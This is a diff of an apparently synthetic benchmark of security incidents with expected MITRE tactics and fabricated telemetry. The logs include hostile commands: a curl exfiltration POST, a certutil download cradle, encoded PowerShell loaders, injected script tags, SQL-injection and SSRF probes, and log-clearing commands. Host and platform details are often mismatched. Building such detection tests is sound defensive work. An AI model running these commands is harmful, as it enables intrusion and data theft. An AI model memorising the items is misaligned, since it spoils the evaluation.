+ "description": "Personal access token belonging to [email protected] used from 45.142.122.111 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.",
"expected_tactics": [
"TA0006",
"TA0009"
@@ -3459,14 +7112,36 @@
"pat",
"token",
"private repo",
- "185.220.101.7"
+ "45.142.122.111"
+ ],
+ "telemetry": [
+ {
+ "source": "github_audit",
+ "action": "git.clone",
+ "actor": "[email protected]",
+ "actor_ip": "45.142.122.111",
+ "repo_count": 14,
+ "programmatic_access_type": "personal_access_token",
+ "user_agent": "git/2.40.0"
+ },
+ {
+ "source": "github_audit",
+ "action": "push",
+ "actor": "[email protected]",
+ "repo": "[email protected]/dotfiles",
+ "visibility": "public",
+ "file_changed": ".env",
+ "secret_detected": "github_pat_*"
+ }
]
},
{
"id": "INC-EVAL-157",
- "title": "EC2 instance metadata service abused on WIN-DC-SECONDARY",
- "description": "IMDSv1 abused on WIN-DC-SECONDARY; temporary IAM credentials for role exfilled to 185.220.101.7. CloudTrail shows AssumeRole from external.",
+ "template_id": "ec2-imds-credential-theft",
+ "template_index": 46,
+ "title": "EC2 instance metadata service abused on WIN-PROD-WEB02",
+ "description": "IMDSv1 abused on WIN-PROD-WEB02; temporary IAM credentials for role exfilled to 91.134.231.15. CloudTrail shows AssumeRole from external.",
"expected_tactics": [
"TA0006",
"TA0004"
@@ -3482,14 +7157,39 @@
"metadata",
"iam credentials",
"AssumeRole",
- "WIN-DC-SECONDARY",
- "185.220.101.7"
+ "WIN-PROD-WEB02",
+ "91.134.231.15"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-app",
+ "status_code": 200,
+ "src_host": "WIN-PROD-WEB02",
+ "imds_version": "v1"
+ },
+ {
+ "source": "cloudtrail",
+ "eventName": "AssumeRole",
+ "eventSource": "sts.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "sourceIPAddress": "91.134.231.15",
+ "userIdentity": {
+ "type": "AssumedRole",
+ "principalId": "AIDA:role-app",
+ "arn": "arn:aws:sts::123456789012:assumed-role/role-app/i-0abc"
+ },
+ "userAgent": "aws-cli/2.13"
+ }
]
},
{
"id": "INC-EVAL-158",
- "title": "Vendor admin password reset abuse for [email protected]",
- "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 198.51.100.23. Token claimed within 90 seconds.",
+ "template_id": "helpdesk-password-reset-abuse",
+ "template_index": 47,
+ "title": "Vendor admin password reset abuse for [email protected]",
+ "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 91.134.231.15. Token claimed within 90 seconds.",
"expected_tactics": [
"TA0001",
"TA0006"
@@ -3504,14 +7204,34 @@
"password reset",
"social engineering",
"helpdesk",
- "198.51.100.23"
+ "91.134.231.15"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Reset user password.",
+ "UserId": "[email protected]",
+ "TargetUserId": "[email protected]",
+ "ClientIP": "10.0.0.50"
+ },
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "91.134.231.15",
+ "resultType": 0,
+ "seconds_after_reset": 87
+ }
]
},
{
"id": "INC-EVAL-159",
- "title": "OAuth refresh-token theft for [email protected]",
- "description": "Refresh token for [email protected] replayed from 192.168.1.100. Granted access to mailbox + OneDrive without re-prompt.",
+ "template_id": "oauth-refresh-token-theft",
+ "template_index": 48,
+ "title": "OAuth refresh-token theft for [email protected]",
+ "description": "Refresh token for [email protected] replayed from 10.0.99.42. Granted access to mailbox + OneDrive without re-prompt.",
"expected_tactics": [
"TA0006"
],
@@ -3526,14 +7246,28 @@
"replay",
"onedrive",
"mailbox",
- "192.168.1.100"
+ "10.0.99.42"
+ ],
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "10.0.99.42",
+ "resultType": 0,
+ "authenticationProtocol": "oAuth2",
+ "grantType": "refresh_token",
+ "resourceDisplayName": "Microsoft Graph"
+ }
]
},
{
"id": "INC-EVAL-160",
- "title": "Container image with embedded backdoor pulled by WIN-FILE-SHARE",
- "description": "Image registry/repo:malicious-backdoor pulled by WIN-FILE-SHARE. Layer scan flagged embedded netcat reverse-shell binary.",
+ "template_id": "malicious-container-image",
+ "template_index": 49,
+ "title": "Container image with embedded backdoor pulled by AZURE-VM-FIN-001",
+ "description": "Image registry/repo:malicious-backdoor pulled by AZURE-VM-FIN-001. Layer scan flagged embedded netcat reverse-shell binary.",
"expected_tactics": [
"TA0001",
"TA0002"
@@ -3549,13 +7283,47 @@
"registry",
"backdoor",
"netcat",
- "WIN-FILE-SHARE"
+ "AZURE-VM-FIN-001"
+ ],
+ "telemetry": [
+ {
+ "source": "k8s_audit",
+ "apiVersion": "audit.k8s.io/v1",
+ "kind": "Event",
+ "verb": "create",
+ "objectRef": {
+ "resource": "pods"
+ },
+ "user": {
+ "username": "system:serviceaccount:default:deploy"
+ },
+ "requestObject": {
+ "spec": {
+ "containers": [
+ {
+ "image": "registry.local/repo:malicious-backdoor"
+ }
+ ]
+ }
+ },
+ "node": "AZURE-VM-FIN-001"
+ },
+ {
+ "source": "edr",
+ "rule": "Image scan: embedded netcat reverse-shell binary",
+ "severity": "high",
+ "Computer": "AZURE-VM-FIN-001",
+ "image": "registry.local/repo:malicious-backdoor",
+ "cve_layer_count": 2
+ }
]
},
{
"id": "INC-EVAL-161",
- "title": "Outlook rule auto-forwarding mail from [email protected]",
- "description": "Outlook inbox rule created for [email protected] that forwards all mail to external address at 185.220.101.7. Linked to Scattered Spider.",
+ "template_id": "outlook-auto-forward-rule",
+ "template_index": 50,
+ "title": "Outlook rule auto-forwarding mail from [email protected]",
+ "description": "Outlook inbox rule created for [email protected] that forwards all mail to external address at 185.220.101.7. Linked to LockBit 3.0.",
"expected_tactics": [
"TA0006",
"TA0009"
@@ -3570,15 +7338,32 @@
"outlook rule",
"forward",
"mail",
"185.220.101.7",
- "Scattered Spider"
+ "LockBit 3.0"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-InboxRule",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Name": "Sync",
+ "ForwardTo": "[email protected]",
+ "DeleteMessage": true,
+ "MarkAsRead": true
+ },
+ "threat_actor": "LockBit 3.0"
+ }
]
},
{
"id": "INC-EVAL-162",
- "title": "Linux journald log tampering on MAC-LEGAL-LAPTOP",
- "description": "journalctl --rotate --vacuum-time=1s observed on MAC-LEGAL-LAPTOP by [email protected]; recent journal entries purged. Indicator removal.",
+ "template_id": "linux-journald-tampering",
+ "template_index": 51,
+ "title": "Linux journald log tampering on WIN-PROD-WEB02",
+ "description": "journalctl --rotate --vacuum-time=1s observed on WIN-PROD-WEB02 by [email protected]; recent journal entries purged. Indicator removal.",
"expected_tactics": [
"TA0005"
],
@@ -3591,14 +7376,29 @@
"journalctl",
"log tampering",
"vacuum",
- "MAC-LEGAL-LAPTOP",
+ "WIN-PROD-WEB02",
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/journalctl",
+ "a0": "journalctl",
+ "a1": "--rotate",
+ "a2": "--vacuum-time=1s",
+ "hostname": "WIN-PROD-WEB02",
+ "user": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-163",
- "title": "Compromised CI runner on K8S-PROD-CLUSTER pushing to production",
- "description": "Self-hosted CI runner K8S-PROD-CLUSTER compromised. Job triggered from PR injected secret exfil step; secrets posted to 185.220.101.7.",
+ "template_id": "compromised-ci-runner",
+ "template_index": 52,
+ "title": "Compromised CI runner on AZURE-VM-FIN-001 pushing to production",
+ "description": "Self-hosted CI runner AZURE-VM-FIN-001 compromised. Job triggered from PR injected secret exfil step; secrets posted to 172.16.50.7.",
"expected_tactics": [
"TA0001",
"TA0006",
@@ -3615,14 +7415,39 @@
"self-hosted",
"secret",
"exfil",
- "K8S-PROD-CLUSTER",
- "185.220.101.7"
+ "AZURE-VM-FIN-001",
+ "172.16.50.7"
+ ],
+ "telemetry": [
+ {
+ "source": "github_audit",
+ "action": "workflow_run.requested",
+ "workflow": "deploy.yml",
+ "actor": "external-contrib",
+ "repository": "aisoc/web",
+ "event": "pull_request",
+ "runner": "AZURE-VM-FIN-001"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/curl",
+ "a1": "-X",
+ "a2": "POST",
+ "a3": "https://172.16.50.7/exfil",
+ "hostname": "AZURE-VM-FIN-001",
+ "user": "ci-runner",
+ "secret_detected": true
+ }
]
},
{
"id": "INC-EVAL-164",
- "title": "Suspicious VPN login from new geography for [email protected]",
- "description": "VPN login for [email protected] from 203.0.113.45 (new country, no prior history). Subsequent lateral SMB scan from VPN range to AZURE-VM-FIN-001.",
+ "template_id": "vpn-new-geography",
+ "template_index": 53,
+ "title": "Suspicious VPN login from new geography for [email protected]",
+ "description": "VPN login for [email protected] from 10.0.99.42 (new country, no prior history). Subsequent lateral SMB scan from VPN range to LIN-EDGE-VPN02.",
"expected_tactics": [
"TA0001",
"TA0008"
@@ -3638,15 +7463,38 @@
"new geography",
"lateral",
"smb scan",
- "203.0.113.45",
- "AZURE-VM-FIN-001"
+ "10.0.99.42",
+ "LIN-EDGE-VPN02"
+ ],
+ "telemetry": [
+ {
+ "source": "vpn",
+ "action": "login_success",
+ "user": "[email protected]",
+ "src_ip": "10.0.99.42",
+ "geo_country": "UA",
+ "first_login_country": true
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 5145,
+ "Computer": "LIN-EDGE-VPN02",
+ "SubjectUserName": "[email protected]",
+ "ShareName": "\\\\*\\IPC$",
+ "IpAddress": "10.0.99.42",
+ "EventCount": 128
+ }
]
},
{
"id": "INC-EVAL-165",
- "title": "Privileged command run as service account on WIN-HR-DESKTOP",
- "description": "Service account [email protected] (no interactive use expected) ran privileged net.exe + wevtutil cl Security on WIN-HR-DESKTOP. Anomalous.",
+ "template_id": "service-account-privileged-command",
+ "template_index": 54,
+ "title": "Privileged command run as service account on K8S-PROD-CLUSTER",
+ "description": "Service account [email protected] (no interactive use expected) ran privileged net.exe + wevtutil cl Security on K8S-PROD-CLUSTER. Anomalous.",
"expected_tactics": [
"TA0005",
"TA0006"
@@ -3661,14 +7509,29 @@
"service account",
"wevtutil",
"log clear",
- "WIN-HR-DESKTOP"
+ "K8S-PROD-CLUSTER"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "K8S-PROD-CLUSTER",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wevtutil.exe",
+ "CommandLine": "wevtutil cl Security",
+ "LogonType": 5
+ }
]
},
{
"id": "INC-EVAL-166",
- "title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",
- "description": "Inbound email from 198.51.100.23 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on LIN-K8S-NODE01; macro spawned cmd.exe and downloaded a stage-2 payload from a known Emotet epoch 5 infrastructure.",
+ "template_id": "phishing-macro-email",
+ "template_index": 0,
+ "title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",
+ "description": "Inbound email from 203.0.113.45 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on LIN-BUILD-CI03; macro spawned cmd.exe and downloaded a stage-2 payload from a known Emotet epoch 5 infrastructure.",
"expected_tactics": [
"TA0001",
"TA0002"
@@ -3682,16 +7545,50 @@
"evidence_keywords": [
"phishing email",
"macro",
- "198.51.100.23",
- "LIN-K8S-NODE01",
+ "203.0.113.45",
+ "LIN-BUILD-CI03",
"stage-2 payload"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "Send",
+ "UserId": "[email protected]",
+ "ClientIP": "203.0.113.45",
+ "Subject": "Q4 invoice (action required)",
+ "AttachmentNames": [
+ "invoice_q4.docm"
+ ]
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-BUILD-CI03",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\cmd.exe",
+ "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",
+ "CommandLine": "cmd.exe /c powershell -nop -w hidden -enc <stage2>"
+ },
+ {
+ "source": "edr",
+ "rule": "Office macro spawned cmd.exe",
+ "severity": "high",
+ "Computer": "LIN-BUILD-CI03",
+ "User": "[email protected]",
+ "threat_actor": "Emotet epoch 5"
+ }
]
},
{
"id": "INC-EVAL-167",
- "title": "Exploitation of public-facing web app on WIN-DEVOPS-LT",
- "description": "WAF logs show SQL-injection and SSRF probes from 10.0.99.42 against the application on WIN-DEVOPS-LT. One request returned 200 with internal cloud-metadata content. Likely exploitation of CVE-2024-1234.",
+ "template_id": "webapp-sqli-ssrf-exploit",
+ "template_index": 1,
+ "title": "Exploitation of public-facing web app on AZURE-VM-FIN-001",
+ "description": "WAF logs show SQL-injection and SSRF probes from 198.51.100.23 against the application on AZURE-VM-FIN-001. One request returned 200 with internal cloud-metadata content. Likely exploitation of CVE-2024-1234.",
"expected_tactics": [
"TA0001",
"TA0007"
@@ -3707,14 +7604,37 @@
"SQL injection",
"SSRF",
"CVE-2024-1234",
- "WIN-DEVOPS-LT",
- "10.0.99.42"
+ "AZURE-VM-FIN-001",
+ "198.51.100.23"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://AZURE-VM-FIN-001/search?q=' OR 1=1--",
+ "status_code": 200,
+ "src_ip": "198.51.100.23",
+ "user_agent": "curl/8.4.0",
+ "rule_match": "WAF:SQLI:1011",
+ "cve": "CVE-2024-1234"
+ },
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://AZURE-VM-FIN-001/proxy?u=http://169.254.169.254/latest/meta-data/",
+ "status_code": 200,
+ "src_ip": "198.51.100.23",
+ "user_agent": "curl/8.4.0",
+ "rule_match": "WAF:SSRF:2007"
+ }
]
},
{
"id": "INC-EVAL-168",
- "title": "Watering-hole exploit served from internal Confluence by 45.142.122.111",
- "description": "Internal Confluence page injected with malicious JavaScript by 45.142.122.111. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to LockBit 3.0 TTPs.",
+ "template_id": "confluence-watering-hole",
+ "template_index": 2,
+ "title": "Watering-hole exploit served from internal Confluence by 172.16.50.7",
+ "description": "Internal Confluence page injected with malicious JavaScript by 172.16.50.7. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to ALPHV/BlackCat TTPs.",
"expected_tactics": [
"TA0001",
"TA0002"
@@ -3729,15 +7649,36 @@
"watering hole",
"drive-by",
"Confluence",
- "45.142.122.111",
- "LockBit 3.0"
+ "172.16.50.7",
+ "ALPHV/BlackCat"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "https://confluence.aisoc.dev/pages/editpage.action?pageId=8472",
+ "status_code": 200,
+ "src_ip": "172.16.50.7",
+ "user_agent": "Mozilla/5.0",
+ "payload_excerpt": "<script src=//172.16.50.7/x.js></script>"
+ },
+ {
+ "source": "edr",
+ "rule": "Browser exploitation: drive-by JavaScript loader",
+ "severity": "high",
+ "Computer": "WIN-HR-DESKTOP",
+ "User": "[email protected]",
+ "threat_actor": "ALPHV/BlackCat"
+ }
]
},
{
"id": "INC-EVAL-169",
- "title": "Supply-chain compromise: malicious npm package on WIN-FIN-DB01",
- "description": "CI pipeline on WIN-FIN-DB01 installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 203.0.113.45. Build artefacts may be tainted.",
+ "template_id": "npm-supply-chain",
+ "template_index": 3,
+ "title": "Supply-chain compromise: malicious npm package on WIN-PROD-WEB02",
+ "description": "CI pipeline on WIN-PROD-WEB02 installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 91.134.231.15. Build artefacts may be tainted.",
"expected_tactics": [
"TA0001",
"TA0002"
@@ -3753,14 +7694,46 @@
"npm package",
"event-stream",
"post-install",
- "WIN-FIN-DB01",
- "203.0.113.45"
+ "WIN-PROD-WEB02",
+ "91.134.231.15"
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/node",
+ "a0": "node",
+ "a1": "/tmp/node_modules/event-stream/postinstall.js",
+ "hostname": "WIN-PROD-WEB02",
+ "user": "ci-runner"
+ },
+ {
+ "source": "github_audit",
+ "action": "workflow_run.completed",
+ "workflow": "ci.yml",
+ "actor": "dependabot[bot]",
+ "repository": "aisoc/web",
+ "conclusion": "success",
+ "package_added": "[email protected]"
+ },
+ {
+ "source": "edr",
+ "rule": "npm post-install reverse shell",
+ "severity": "high",
+ "Computer": "WIN-PROD-WEB02",
+ "User": "ci-runner",
+ "dest_ip": "91.134.231.15",
+ "dest_port": 4444
+ }
]
},
{
"id": "INC-EVAL-170",
- "title": "Malicious USB autorun on air-gapped host WIN-PROD-WEB02",
- "description": "USB device inserted on air-gapped WIN-PROD-WEB02 by [email protected]. AutoRun executed Python stager that collected local files. Data staged in C:\\Temp\\.",
+ "template_id": "usb-autorun-airgap",
+ "template_index": 4,
+ "title": "Malicious USB autorun on air-gapped host AWS-EC2-PROD-API",
+ "description": "USB device inserted on air-gapped AWS-EC2-PROD-API by [email protected]. AutoRun executed Python stager that collected local files. Data staged in C:\\Temp\\.",
"expected_tactics": [
"TA0001",
"TA0009"
@@ -3775,15 +7748,40 @@
"USB",
"autorun",
"air-gapped",
- "WIN-PROD-WEB02",
+ "AWS-EC2-PROD-API",
"Python stager"
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 6416,
+ "Computer": "AWS-EC2-PROD-API",
+ "SubjectUserName": "[email protected]",
+ "ClassName": "USB",
+ "DeviceDescription": "SanDisk Cruzer 16GB"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "AWS-EC2-PROD-API",
+ "User": "[email protected]",
+ "Image": "C:\\Python311\\python.exe",
+ "ParentImage": "C:\\Windows\\System32\\rundll32.exe",
+ "CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"
+ }
]
},
{
"id": "INC-EVAL-171",
- "title": "OAuth consent phishing targeting [email protected]",
- "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 198.51.100.23.",
+ "template_id": "oauth-consent-phish",
+ "template_index": 5,
+ "title": "OAuth consent phishing targeting [email protected]",
+ "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 45.142.122.111.",
"expected_tactics": [
"TA0001",
"TA0006"
@@ -3798,15 +7796,42 @@
"OAuth consent",
"Mail.Read",
"Files.Read.All",
- "198.51.100.23",
+ "45.142.122.111",
"forwarding rule"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Consent to application.",
+ "UserId": "[email protected]",
+ "ApplicationId": "00000003-0000-0ff1-ce00-000000000000",
+ "ConsentedScopes": [
+ "Mail.Read",
+ "Files.Read.All",
+ "offline_access"
+ ]
+ },
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-InboxRule",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Name": "Auto-fwd",
+ "ForwardTo": "[email protected]",
+ "DeleteMessage": true
+ }
+ }
]
},
{
"id": "INC-EVAL-172",
- "title": "Obfuscated PowerShell dropper executed on K8S-PROD-CLUSTER",
- "description": "PowerShell dropper executed on K8S-PROD-CLUSTER by [email protected]; payload base64-encoded and decoded in-memory. Linked to ALPHV/BlackCat ransomware staging.",
+ "template_id": "powershell-obfuscated-dropper",
+ "template_index": 6,
+ "title": "Obfuscated PowerShell dropper executed on AWS-EC2-PROD-API",
+ "description": "PowerShell dropper executed on AWS-EC2-PROD-API by [email protected]; payload base64-encoded and decoded in-memory. Linked to Volt Typhoon ransomware staging.",
"expected_tactics": [
"TA0002",
"TA0005"
@@ -3821,15 +7846,40 @@
"powershell",
"obfuscated",
"base64",
- "K8S-PROD-CLUSTER",
+ "AWS-EC2-PROD-API",
- "ALPHV/BlackCat"
+ "Volt Typhoon"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "AWS-EC2-PROD-API",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
+ "ParentImage": "C:\\Windows\\explorer.exe",
+ "CommandLine": "powershell.exe -nop -w hidden -enc JABzAD0ATgB..."
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4104,
+ "Computer": "AWS-EC2-PROD-API",
+ "User": "[email protected]",
+ "ScriptBlockText": "$s=[System.Convert]::FromBase64String(...);[Reflection.Assembly]::Load($s).EntryPoint.Invoke(...)",
+ "threat_actor": "Volt Typhoon"
+ }
]
},
{
"id": "INC-EVAL-173",
- "title": "Living-off-the-land: certutil download cradle on WIN-HR-DESKTOP",
- "description": "certutil.exe -urlcache invoked from cmd.exe on WIN-HR-DESKTOP. cmd.exe was spawned by outlook.exe. Payload downloaded from 45.142.122.111.",
+ "template_id": "certutil-download-cradle",
+ "template_index": 7,
+ "title": "Living-off-the-land: certutil download cradle on MAC-LEGAL-LAPTOP",
+ "description": "certutil.exe -urlcache invoked from cmd.exe on MAC-LEGAL-LAPTOP. cmd.exe was spawned by outlook.exe. Payload downloaded from 192.168.1.100.",
"expected_tactics": [
"TA0002",
"TA0005"
@@ -3844,15 +7894,40 @@
"certutil",
"urlcache",
"outlook.exe",
- "WIN-HR-DESKTOP",
- "45.142.122.111",
+ "MAC-LEGAL-LAPTOP",
+ "192.168.1.100",
"download cradle"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "Image": "C:\\Windows\\System32\\certutil.exe",
+ "ParentImage": "C:\\Windows\\System32\\cmd.exe",
+ "CommandLine": "certutil -urlcache -split -f http://192.168.1.100/p.exe %TEMP%\\p.exe"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "Image": "C:\\Windows\\System32\\certutil.exe",
+ "DestinationIp": "192.168.1.100",
+ "DestinationPort": 80,
+ "Protocol": "tcp"
+ }
]
},
{
"id": "INC-EVAL-174",
- "title": "Container runtime abuse: malicious `docker run` on GCP-GKE-NODE-04",
- "description": "Unauthenticated Docker API on GCP-GKE-NODE-04 exploited from 172.16.50.7. Container with cryptominer spawned. CPU on host saturated to 95%.",
+ "template_id": "docker-runtime-abuse",
+ "template_index": 8,
+ "title": "Container runtime abuse: malicious `docker run` on WIN-DC-SECONDARY",
+ "description": "Unauthenticated Docker API on WIN-DC-SECONDARY exploited from 198.51.100.23. Container with cryptominer spawned. CPU on host saturated to 95%.",
"expected_tactics": [
"TA0002",
"TA0001",
@@ -3870,14 +7945,42 @@
"container",
"cryptominer",
"miner",
- "GCP-GKE-NODE-04",
- "172.16.50.7"
+ "WIN-DC-SECONDARY",
+ "198.51.100.23"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "http://WIN-DC-SECONDARY:2375/containers/create",
+ "status_code": 201,
+ "src_ip": "198.51.100.23",
+ "request_body": {
+ "Image": "monero/xmrig",
+ "HostConfig": {
+ "Privileged": true
+ }
+ }
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/docker",
+ "a0": "docker",
+ "a1": "run",
+ "a2": "--privileged",
+ "hostname": "WIN-DC-SECONDARY",
+ "user": "root"
+ }
]
},
{
"id": "INC-EVAL-175",
- "title": "Malicious WMI subscription on LIN-BUILD-CI03",
- "description": "Permanent WMI event subscription created on LIN-BUILD-CI03 by [email protected]. Consumer runs encoded script. Persistence + execution mechanism.",
+ "template_id": "wmi-event-subscription",
+ "template_index": 9,
+ "title": "Malicious WMI subscription on MAC-CFO-LAPTOP",
+ "description": "Permanent WMI event subscription created on MAC-CFO-LAPTOP by [email protected]. Consumer runs encoded script. Persistence + execution mechanism.",
"expected_tactics": [
"TA0002",
"TA0003"
@@ -3892,15 +7995,41 @@
"WMI",
"subscription",
"permanent",
- "LIN-BUILD-CI03",
+ "MAC-CFO-LAPTOP",
"encoded script"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 19,
+ "Computer": "MAC-CFO-LAPTOP",
+ "User": "[email protected]",
+ "EventNamespace": "ROOT\\Subscription",
+ "Name": "UpdaterFilter",
+ "Query": "SELECT * FROM __InstanceModificationEvent WITHIN 60"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 21,
+ "Computer": "MAC-CFO-LAPTOP",
+ "Operation": "Created",
+ "Name": "UpdaterConsumer",
+ "Type": "CommandLineEventConsumer",
+ "Destination": "powershell.exe -enc <encoded>"
+ }
]
},
{
"id": "INC-EVAL-176",
- "title": "Registry Run key persistence created by [email protected] on LIN-DB-REPLICA",
- "description": "New value written to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run on LIN-DB-REPLICA. Points to roaming binary signed with revoked cert. Linked to Scattered Spider.",
+ "template_id": "registry-run-persistence",
+ "template_index": 10,
+ "title": "Registry Run key persistence created by [email protected] on AWS-EC2-PROD-API",
+ "description": "New value written to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run on AWS-EC2-PROD-API. Points to roaming binary signed with revoked cert. Linked to APT29.",
"expected_tactics": [
"TA0003"
],
@@ -3913,15 +8042,38 @@
"registry run",
"persistence",
"revoked cert",
- "LIN-DB-REPLICA",
- "Scattered Spider"
+ "AWS-EC2-PROD-API",
+ "APT29"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "AWS-EC2-PROD-API",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKU\\S-1-5-21-...\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
+ "Details": "C:\\Users\\[email protected]\\AppData\\Roaming\\updater.exe"
+ },
+ {
+ "source": "edr",
+ "rule": "Persistence: Registry Run with revoked-cert signed binary",
+ "severity": "high",
+ "Computer": "AWS-EC2-PROD-API",
+ "User": "[email protected]",
+ "threat_actor": "APT29"
+ }
]
},
{
"id": "INC-EVAL-177",
- "title": "Scheduled task persistence on WIN-PROD-WEB02",
- "description": "Hidden scheduled task created on WIN-PROD-WEB02 by [email protected]: triggers every 30 minutes, runs script from %APPDATA%\\Roaming. Persistence mechanism.",
+ "template_id": "scheduled-task-persistence",
+ "template_index": 11,
+ "title": "Scheduled task persistence on WIN-DC-SECONDARY",
+ "description": "Hidden scheduled task created on WIN-DC-SECONDARY by [email protected]: triggers every 30 minutes, runs script from %APPDATA%\\Roaming. Persistence mechanism.",
"expected_tactics": [
"TA0003"
],
@@ -3934,14 +8086,39 @@
"scheduled task",
"persistence",
"APPDATA",
- "WIN-PROD-WEB02",
+ "WIN-DC-SECONDARY",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4698,
+ "Computer": "WIN-DC-SECONDARY",
+ "SubjectUserName": "[email protected]",
+ "TaskName": "\\Microsoft\\Windows\\UpdaterTask",
+ "TaskContent": "<Hidden>true</Hidden><Exec>%APPDATA%\\Roaming\\u.ps1</Exec>"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-DC-SECONDARY",
+ "Image": "C:\\Windows\\System32\\schtasks.exe",
+ "ParentImage": "C:\\Windows\\System32\\cmd.exe",
+ "CommandLine": "schtasks /Create /SC MINUTE /MO 30 /TN UpdaterTask /TR \"powershell -f %APPDATA%\\Roaming\\u.ps1\" /F",
+ "User": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-178",
- "title": "Firmware implant detected on UEFI partition of WIN-PROD-WEB02",
- "description": "UEFI secure-boot violation on WIN-PROD-WEB02. Unknown module detected in firmware. Signature matches MosaicRegressor implant.",
+ "template_id": "uefi-firmware-implant",
+ "template_index": 12,
